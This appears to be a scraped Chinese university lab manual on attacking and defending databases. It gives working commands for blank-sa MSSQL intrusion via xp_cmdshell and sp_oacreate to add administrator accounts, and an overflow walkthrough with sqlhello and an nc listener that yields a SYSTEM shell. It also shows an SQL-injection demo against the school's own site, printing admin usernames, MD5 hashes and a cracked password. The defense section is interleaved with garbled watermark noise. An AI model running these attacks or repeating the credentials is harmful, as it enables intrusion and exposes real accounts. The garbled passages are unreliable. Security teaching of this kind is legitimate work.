信息系统攻防与对抗综合实验指导书12.docx

上传人:b****3 文档编号:10657699 上传时间:2023-05-27 格式:DOCX 页数:69 大小:1.80MB
下载 相关 举报
信息系统攻防与对抗综合实验指导书12.docx_第1页
第1页 / 共69页
信息系统攻防与对抗综合实验指导书12.docx_第2页
第2页 / 共69页
信息系统攻防与对抗综合实验指导书12.docx_第3页
第3页 / 共69页
信息系统攻防与对抗综合实验指导书12.docx_第4页
第4页 / 共69页
信息系统攻防与对抗综合实验指导书12.docx_第5页
第5页 / 共69页
信息系统攻防与对抗综合实验指导书12.docx_第6页
第6页 / 共69页
信息系统攻防与对抗综合实验指导书12.docx_第7页
第7页 / 共69页
信息系统攻防与对抗综合实验指导书12.docx_第8页
第8页 / 共69页
信息系统攻防与对抗综合实验指导书12.docx_第9页
第9页 / 共69页
信息系统攻防与对抗综合实验指导书12.docx_第10页
第10页 / 共69页
信息系统攻防与对抗综合实验指导书12.docx_第11页
第11页 / 共69页
信息系统攻防与对抗综合实验指导书12.docx_第12页
第12页 / 共69页
信息系统攻防与对抗综合实验指导书12.docx_第13页
第13页 / 共69页
信息系统攻防与对抗综合实验指导书12.docx_第14页
第14页 / 共69页
信息系统攻防与对抗综合实验指导书12.docx_第15页
第15页 / 共69页
信息系统攻防与对抗综合实验指导书12.docx_第16页
第16页 / 共69页
信息系统攻防与对抗综合实验指导书12.docx_第17页
第17页 / 共69页
信息系统攻防与对抗综合实验指导书12.docx_第18页
第18页 / 共69页
信息系统攻防与对抗综合实验指导书12.docx_第19页
第19页 / 共69页
信息系统攻防与对抗综合实验指导书12.docx_第20页
第20页 / 共69页
亲,该文档总共69页,到这儿已超出免费预览范围,如果喜欢就下载吧!
下载资源
资源描述

信息系统攻防与对抗综合实验指导书12.docx

《信息系统攻防与对抗综合实验指导书12.docx》由会员分享,可在线阅读,更多相关《信息系统攻防与对抗综合实验指导书12.docx(69页珍藏版)》请在冰点文库上搜索。

信息系统攻防与对抗综合实验指导书12.docx

信息系统攻防与对抗综合实验指导书12

信息工程学院实验指导书系列

 

 

 

附录52

一、手工注入脚本命令52

实验一针对数据库的攻击和防御

一、实验目的

1.认识对数据库的几种攻击方法:

弱口令攻击,溢出攻击和注入攻击。

2.掌握数据库的安全设置方法。

二、实验内容

练习使用对数据库的几种攻击方法:

弱口令攻击,溢出攻击和注入攻击,了解这几种攻击方法攻击成功的环境要求,进而掌握数据库的安全设置方法,积极防御,保护数据的安全。

三、实验环境

1台安装Windows2000/XP/2003操作系统的计算机,磁盘格式配置为NTFS,搭建一个access+asp,mssql+asp,php+mysql的web实验环境注:

(mssql没打sp4补丁)。

一台mssql服务器,开放远程连接和sa密码为空。

四、实验过程

(一)针对数据库的攻击

1.弱口令攻击(Sa空口令入侵)

工具:

WindowsNT/2000自动攻击探测机,SQLTools.exe。

原理:

由于管理员的疏忽或者安全意识不强没有设置sa密码,并且可以远程连接,这时我们就利用sa权限(系统权限)进行入侵。

实验配置:

一台mssql服务器,开放远程连接和sa密码为空。

利用windowsNT/2000自动攻击探测机扫描网段,找出空口令的mssql服务器,再用SQL综合利用工具来进行连接执行相应的系统命令。

利用系统存储过程xp_cmdshell执行dos命令,然后做进一步的入侵。

例如:

在SQL综合利用工具,执行相应的命令:

netstarttelnet                        //开telnet服务;

netusertesttest/add               //添加用户test密码为test;

netlocalgroupadministratorstest/add      //将帐号test升级为管理员;

如果发现执行不了相关的命令,有可能是xp_cmdshell被删,我们可以用下面的进行恢复:

常见情况恢复执行xp_cmdshell:

1)未能找到存储过程'master..xp_cmdshell'.

恢复方法:

查询分析器(或者sqltools.exe)连接后,

第一步执行:

EXECsp_addextendedprocxp_cmdshell,@dllname='xplog70.dll'declare@oint

第二步执行:

sp_addextendedproc'xp_cmdshell','xpsql70.dll'

然后按F5键命令执行完毕。

2)无法装载DLLxpsql70.dll或该DLL所引用的某一DLL。

原因126(找不到指定模块。

恢复方法:

查询分析器连接后,

第一步执行:

sp_dropextendedproc"xp_cmdshell"

第二步执行:

sp_addextendedproc'xp_cmdshell','xpsql70.dll'

然后按F5键命令执行完毕。

3)无法在库xpweb70.dll中找到函数xp_cmdshell。

原因:

127(找不到指定的程序。

恢复方法:

查询分析器连接后,

第一步执行:

execsp_dropextendedproc'xp_cmdshell'

第二步执行:

execsp_addextendedproc'xp_cmdshell','xpweb70.dll'

然后按F5键命令执行完毕。

4)终极方法.

如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:

查询分析器连接后,

2000servser系统:

declare@shellintexecsp_oacreate'wscript.shell',@shelloutputexecsp_oamethod@shell,'run',null,'c:

\winnt\system32\cmd.exe/cnetuser新用户密码/add'

declare@shellintexecsp_oacreate'wscript.shell',@shelloutputexecsp_oamethod@shell,'run',null,'c:

\winnt\system32\cmd.exe/cnetlocalgroupadministrators新用户/add'

xp或2003server系统:

declare@shellintexecsp_oacreate'wscript.shell',@shelloutputexecsp_oamethod@shell,'run',null,'c:

\windows\system32\cmd.exe/cnetuser新用户密码/add'

declare@shellintexecsp_oacreate'wscript.shell',@shelloutputexecsp_oamethod@shell,'run',null,'c:

\windows\system32\cmd.exe/cnetlocalgroupadministrators新用户/add'

2.溢出攻击

工具:

端口扫描工具(以流光为例)sql溢出工具sqlhello.exe,sqlhello2.exe,nc.exe。

工具的使用说明:

sqlhello.exe的溢出命令是:

sqlhello.exe ,攻击IP 1433 自己的IP 自己监听端口(反向溢出)。

sqlhello2.exe的溢出命令是:

qlhello2.exe ,攻击IP 1433(直接溢出)。

溢出演示:

先扫描出有溢出漏洞的mssql服务器,比如扫出来有漏洞ip是:

192.168.1.8。

本机ip:

192.168.1.2

先演示反向的溢出:

先用NC监听随便一个端口!

命令行下运行:

nc–vv–l–p8888;

再开另外一个命令行:

sqlhello.exe192.168.1.81433192.168.1.28888;

这样就可以获得一个system级别权限的shell。

正向的溢出:

这个更加的简单

直接:

sqlhello2.exe192.168.1.81433就ok了。

3.注入攻击

工具:

nbsi

实验步骤:

1)直接用工具:

输入网址,查找漏洞,然后根据找到的漏洞进行注入,很容易上手,但是对整个过程不是很直观,下面着重讲述。

手工注入:

以本校的新闻网为事例:

图一是正常显示页面。

图一:

正常显示页面

在地址栏加上一个单引号后,返回如图二所示的出错页面。

图二:

在地址栏加上一个单引号后,返回的出错页面

图二上面显示的出错意思是:

字符串之前有未闭合的引号。

从而可以得知没有过滤掉单引号就直接放到SQL语句中去了,而且可以知道是使用SQLSERVER。

也可以如图三这样在地址栏中输入后查看版本:

图三:

在地址栏中输入后查看版本

这是因为@@version是msssql的内置系统变量,它当前值为mssql系统的版本。

是个nvarcha变量。

而我们在自行控制的sql语句中让这个变量和整型变量比较,系统会先试图将nvarchar的值转成int型,类型不同,转的过程中肯定会出错,SQLServer的出错提示是如图三所示的信息:

于是就出现了以上的错误信息,而这错误信息正是我们想要的…

后面大部分都是利用这种原理..灵活运用,结合mssql的特性

在地址栏提交:

db_name()>0

如图四,知道了当前数据库:

图四:

在地址栏中输入后查看数据库

提交:

and1<>(selectcount(id)%20from[admin])

返回正常页面,说明存在admin表和id字段

提交:

返回正常页面,说明存在password字段

现在进行密码猜解:

返回正常页面,

这就表明了:

用户id为19用户名长度为2。

也返回正常页面,说明密码长度为16,估计是md5加密。

返回正常。

这说明密码第一位字符的asc为57,然后查找asc表,得出字符为9

然后修改语句猜解第2位

依次类推,最后得出密码字符串,无疑这种方法很耗时,但不失为一种方法。

下图是asc表。

其实用上面对比出错更为简洁快速

于是就猜解出一个管理员用户名和密码

Username:

佟明洋

Password:

db516af268bd72c5

继续:

从id=6开始,依次可以猜出所有管理员密码和用户名

语句如下:

依次类推….

我们就选一个吧:

Username:

校办

Password:

49ba59abbe56e057

Md5加密的,穷举法破解密码:

得出密码为:

123456

找到后台登录:

 

这只是一个简单的演示sql注入,利用sql注入还可以做更多的事………。

构造高效的sql语句结合mssql的特性,sql注入危害是相当大的。

实验:

结合以上图示,亲手操作,千万不要搞破坏。

(二)针对数据库攻击的防御

1.access的安全

Access数据库的安全机制已经更为完善。

除了对数据库设置密码保护,对数据库进行编码压缩,还可以启用用户级的安全机制,在用户级别上控制对数据库的访问。

一、数据库设置密码

对于单机使用的数据库或者是需要工作组共享的数据库,仅设置密码保护较为合适。

知道密码的组成员,都有数据库的完全操作权限,彼此之间的使用权限没有什么区别。

设置密码的步骤如下:

启动MicrosoftAccess,在弹出的选择窗口中点取消,不打开任何数据库。

点击菜单:

文件---打开,在弹出的打开窗口中,选中要打开的数据库文件。

然后在打开按钮的右侧展开箭头上单击选定以独占方式打开,用独占方式打开选定的数据库。

在Access窗口菜单上点击:

工具?

安全?

设置数据库密码。

在弹出的密码和验证输入框中,输入密码,注意区分大小写,并请记住。

然后点击确定按钮。

关闭数据库,退出Access环境,密码设置完毕。

下次再打开此数据库,就会提示输入密码,密码正确才能打开数据库。

如要复制数据库,请不要使用数据库密码。

如设置了密码,复制的数据库将不能同步。

数据库的密码是和数据库文件放置在一起,而不是放在工作组信息文件中。

二、数据库压缩编码

为了进一步对数据库进行加密保护,可以对数据库进行编码压缩。

这样使其他工具程序或字处理等软件就无法查看此数据库的内容。

而对用户在Access下的使用不影响。

编码的步骤如下:

启动MicrosoftAccess,在弹出的选择窗口中点取消,不打开任何数据库。

点击菜单:

工具?

安全?

加密/解密数据库。

在弹出的数据库加密/解密窗口中,选取要编码的数据库,点击确定按钮。

在弹出的数据库加密后另存为窗口中,在文件名输入框中输入编码后的文件名,点击保存按钮。

编码压缩后的数据库被另保为另一个文件。

三、用户级安全机制

使用用户级的安全机制,可以更灵活更安全的保护数据库。

在这种安全机制下,在Access关联的工作组信息文件中建立用户和工作组帐户,用来管理用户;在具体的数据库中管理对象权限,可以给用户和工作组分别指定使用权限。

用户要输入用户名称和密码才能打开数据库,对数据库的操作要受拥有权限的限制。

2.mssql安全

1)设置强壮的口令

”开始”-”程序”-”MicrosoftSQLServer”-”企业管理器”-右键点”(local)(WindowsNT)”属性-然后点”安全性”你就在这里可以设置sa密码

也可以用查询器执行

sp_password'curpw','newpw',sa

如果是新建的server那么原来的sa口令为空。

sp_passwordnull,new_password,sa

然后按F5键命令执行完毕。

2)删除不必要的系统存储过程与扩展存储过程

6{hLpg

Cbbs.nk3699F'H2]*K.q3h(kM删除了调用shell,注册表,COM组件的破坏权限

}&zvBpFZ

nusemaster

L,^1_(~1pEXECsp_dropextendedproc'xp_cmdshell'

"]\,@}8at@pPEXECsp_dropextendedproc'Sp_OACreate'

Zv

{nJ\]EXECsp_dropextendedproc'Sp_OADestroy'

z-UHP%tj    yy    j&_Y燕赵论坛_学习和娱乐的社区~EXECsp_dropextendedproc'Sp_OAGetErrorInfo'

n6v{6K8u!

R

V?

P~EXECsp_dropextendedproc'Sp_OAGetProperty'

EXECsp_dropextendedproc'Sp_OAMethod'

EXECsp_dropextendedproc'Sp_OASetProperty'

|?

|/}/WT9R4P燕赵论坛_学习和娱乐的社区~EXECsp_dropextendedproc'Sp_OAStop'

EXECsp_dropextendedproc'Xp_regaddmultistring'

`"@3]{bQEXECsp_dropextendedproc'Xp_regdeletekey'

B!

Yi(m

dN2vFLEXECsp_dropextendedproc'Xp_regdeletevalue'

EXECsp_dropextendedproc'Xp_regenumvalues'

EXECsp_dropextendedproc'Xp_regread'

EXECsp_dropextendedproc'Xp_regremovemultistring'

.R\

{6i1E)?

EXECsp_dropextendedproc'Xp_regwrite'

?

%H

tEh!

qdropproceduresp_makewebtask

o{?

%KY    D@\}燕赵论坛_学习和娱乐的社区~全部复制到"SQL查询分析器"

(L/c&\$nQ^#~-@

c点击菜单上的--"查询"--"执行",就会将有安全问题的SQL过程删除']"SXs6?

5G4y1Ps

3)用户权限的严格控制

单数据库单独设使用帐户.只给public和db_owner权限. KqN/Xn'z(l0L数据库不要放在默认的位置。

同样对目录也要进行严格的权限控制。

eu#_yv%@Dr    f)QN;Azb0O"S9\SQL不要安装在PROGRAMFILE目录下面。

4)及时打补丁,防止溢出等相关的漏洞

最近的SQL2000补丁是SP4

3.mysql的安全

1)更改mysql密码

用MySQLCommandLineClient登录mysql

然后利用这个命令:

mysqladmin-uroot-poldpasswordnewpasswd

设置一个强壮的口令

关于忘记口令的一个说明:

有时我们会因为设置原因或时间长了忘记了数据库管理员的密码,使得我们被关在MySQL服务器外。

MySQL服务器提供了一种方法可使我们在服务器上重设密码。

在windows和linux/unix平台上操作稍有不同,下面分别介绍:

Linux/Unix平台下:

用%kill-TERMPID关闭服务器,用-TERM信息可使服务器在关闭前把内存中的数据写入磁盘。

如果服务器没有响应,我们可用%kill-9PID来强制删除进程,但不建议这样做。

这时内存中的数据不会写入磁盘,造成数据不完整。

如果你是用mysql_safe脚本启动MySQL服务器的,这个脚本会监控服务器的运行情况并在它被终止时重启服务器,所以如需关闭服务器,要先终止该进程,然后再真正终止mysqld进程。

使用--skip-grant-tables参数启动MySQLServer,这时MySQL服务器将不使用权限表对连接操作进行验证。

你就可在不提供root密码的情况下连接上服务器,并获得root的权限。

%mysqld_safe--skip-grant-tables&

用以下命令登录服务器,并重设密码:

%mysql-uroot#不用密码就可连接到服务器

mysql>usemysql

mysql>setpasswordfor'root'@'localhost'=password('password');

关闭服务器,再用正常方式启动服务器。

windows平台下:

用管理员帐号登录服务器,关闭MySQL数据库服务器。

使用--skip-grant-tables参数启动服务器:

c:

\mysql\bin>mysqld-nt--skip-grant-tables

重新打开一个console窗口,用mysql命令登录服务器设置root的新密码:

c:

\mysql\bin>mysql

mysql>usemysql

mysql>setpasswordfor'root'@'localhost'=password('password');

关闭服务器,再用正常方式启动服务器。

更新用户密码

mysql>updateusersetpassword=passowrd('yourpassowrd')wherehost='%';

刷新权限设置:

mysql>flushprivileges;

2)及时打最新安全补丁

3)用户权限的严格控制

了解mysql数据库权限控制。

mysql的权限控制是基于mysql这个数据库的,叫做授权表,一共包括包括六个表:

columns_priv,db,func,host,tables_priv和user。

先使用descuser命令查看非常重要的user表的结构以便查询内容,现在可以查看他的权限设置了。

使用命令selecthost,user,password,delete_priv,update_priv,drop_privfromuser;

这个命令查看了几个比较危险的权限,显示结果如下:

mysql>selecthost,user,password,delete_priv,update_priv,drop_privfromuser;

+-----------+------+------------------+-------------+-------------+-----------+

|host|user|password|delete

展开阅读全文
相关资源
猜你喜欢
相关搜索
资源标签

当前位置:首页 > 自然科学 > 物理

copyright@ 2008-2023 冰点文库 网站版权所有

经营许可证编号:鄂ICP备19020893号-2